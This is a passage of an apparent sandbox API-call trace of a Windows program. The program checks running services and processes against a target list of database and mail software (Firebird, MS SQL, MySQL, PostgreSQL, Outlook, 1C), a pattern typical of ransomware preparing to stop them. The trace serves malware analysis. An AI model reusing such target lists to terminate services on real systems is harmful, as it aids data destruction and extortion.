[0060.174] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.174] lstrlenW (lpString="iphlpsvc") returned 8 [0060.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.174] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.174] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.174] lstrlenW (lpString="LanmanServer") returned 12 [0060.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.174] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.174] lstrlenW (lpString="lmhosts") returned 7 [0060.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.174] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.174] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.175] lstrlenW (lpString="MMCSS") returned 5 [0060.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.175] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.175] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.175] lstrlenW (lpString="MpsSvc") returned 6 [0060.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.175] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.175] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.175] lstrlenW (lpString="Netman") returned 6 [0060.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.175] lstrlenW (lpString="netprofm") returned 8 [0060.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.175] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.175] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.175] lstrlenW (lpString="NlaSvc") returned 6 [0060.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.175] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.175] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.176] lstrlenW (lpString="nsi") returned 3 [0060.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.176] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.176] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.176] lstrlenW (lpString="PcaSvc") returned 6 [0060.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.176] lstrlenW (lpString="PlugPlay") returned 8 [0060.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.176] lstrlenW (lpString="Power") returned 5 [0060.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.176] lstrlenW (lpString="ProfSvc") returned 7 [0060.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.176] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.176] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.177] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.177] lstrlenW (lpString="RpcSs") returned 5 [0060.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.177] lstrlenW (lpString="SamSs") returned 5 [0060.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.177] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.177] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.177] lstrlenW (lpString="Schedule") returned 8 [0060.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.177] lstrlenW (lpString="SENS") returned 4 [0060.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.177] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.178] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.178] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.178] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.178] lstrlenW (lpString="Spooler") returned 7 [0060.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.178] lstrlenW (lpString="swprv") returned 5 [0060.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0060.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0060.178] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0060.178] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0060.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0060.178] lstrlenW (lpString="SysMain") returned 7 [0060.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.178] lstrlenW (lpString="Themes") returned 6 [0060.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.179] lstrlenW (lpString="TrkWks") returned 6 [0060.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.179] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.179] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.179] lstrlenW (lpString="UxSms") returned 5 [0060.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.179] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.179] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.179] lstrlenW (lpString="VSS") returned 3 [0060.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0060.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0060.179] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0060.179] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0060.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0060.179] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.179] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.179] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.179] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.180] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.180] lstrlenW (lpString="Winmgmt") returned 7 [0060.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.180] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.181] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.181] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b8758 | out: hHeap=0x5a0000) returned 1 [0060.181] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0060.183] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.184] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.184] lstrlenW (lpString="System") returned 6 [0060.184] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.184] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.184] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.184] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.184] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.184] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.185] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.185] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.185] lstrlenW (lpString="smss.exe") returned 8 [0060.185] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.185] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.185] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.185] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.185] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.186] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.186] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.186] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.186] lstrlenW (lpString="csrss.exe") returned 9 [0060.186] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.186] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.186] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.186] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.186] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.186] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.186] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.186] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.187] lstrlenW (lpString="wininit.exe") returned 11 [0060.187] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.187] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.187] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.187] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.188] lstrlenW (lpString="csrss.exe") returned 9 [0060.188] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.189] lstrlenW (lpString="winlogon.exe") returned 12 [0060.189] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.189] lstrlenW (lpString="services.exe") returned 12 [0060.189] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.190] lstrlenW (lpString="lsass.exe") returned 9 [0060.190] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.191] lstrlenW (lpString="lsm.exe") returned 7 [0060.191] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.191] lstrlenW (lpString="svchost.exe") returned 11 [0060.191] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.192] lstrlenW (lpString="svchost.exe") returned 11 [0060.192] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.193] lstrlenW (lpString="svchost.exe") returned 11 [0060.193] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.193] lstrlenW (lpString="svchost.exe") returned 11 [0060.194] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.194] lstrlenW (lpString="svchost.exe") returned 11 [0060.194] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.195] lstrlenW (lpString="audiodg.exe") returned 11 [0060.195] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.195] lstrlenW (lpString="svchost.exe") returned 11 [0060.196] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.196] lstrlenW (lpString="svchost.exe") returned 11 [0060.196] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.197] lstrlenW (lpString="dwm.exe") returned 7 [0060.197] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.197] lstrlenW (lpString="explorer.exe") returned 12 [0060.197] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.198] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.198] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.198] lstrlenW (lpString="taskhost.exe") returned 12 [0060.198] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.199] lstrlenW (lpString="svchost.exe") returned 11 [0060.199] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.200] lstrlenW (lpString="taskeng.exe") returned 11 [0060.200] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.200] lstrlenW (lpString="taskhost.exe") returned 12 [0060.200] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: 